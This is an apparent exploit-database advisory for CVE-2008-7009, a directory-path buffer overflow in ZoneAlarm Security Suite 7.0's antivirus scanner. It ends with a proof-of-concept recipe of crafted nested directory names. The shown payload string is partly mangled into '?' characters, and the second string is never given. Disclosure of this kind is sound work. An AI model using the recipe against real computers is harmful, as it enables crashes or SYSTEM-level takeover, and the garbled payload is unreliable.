ZoneAlarm Security Suite 7.0 AntiVirus Directory Path Buffer Overflow Vulnerability. CVE-2008-7009. Dos exploit for windows platform

ZoneAlarm Security Suite is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input when performing virus scans on long directory paths.

Remote attackers may leverage this issue to execute arbitrary code with SYSTEM-level privileges and gain complete access to the vulnerable computer. Failed attacks will cause denial-of-service conditions.

This issue affects ZoneAlarm Security Suite 7.0.483.000; other versions may also be affected. 

To demonstrate this issue, construct multiple nested subdirectories, naming the root directory string1 below, and each nested directory string2:

string1:
ASCII: ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA ? ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA ? ? ? A ? ? AAAAAAAAAAAAAAAAAAA ? ? AAAAAAAAAAAAAAAAAAA
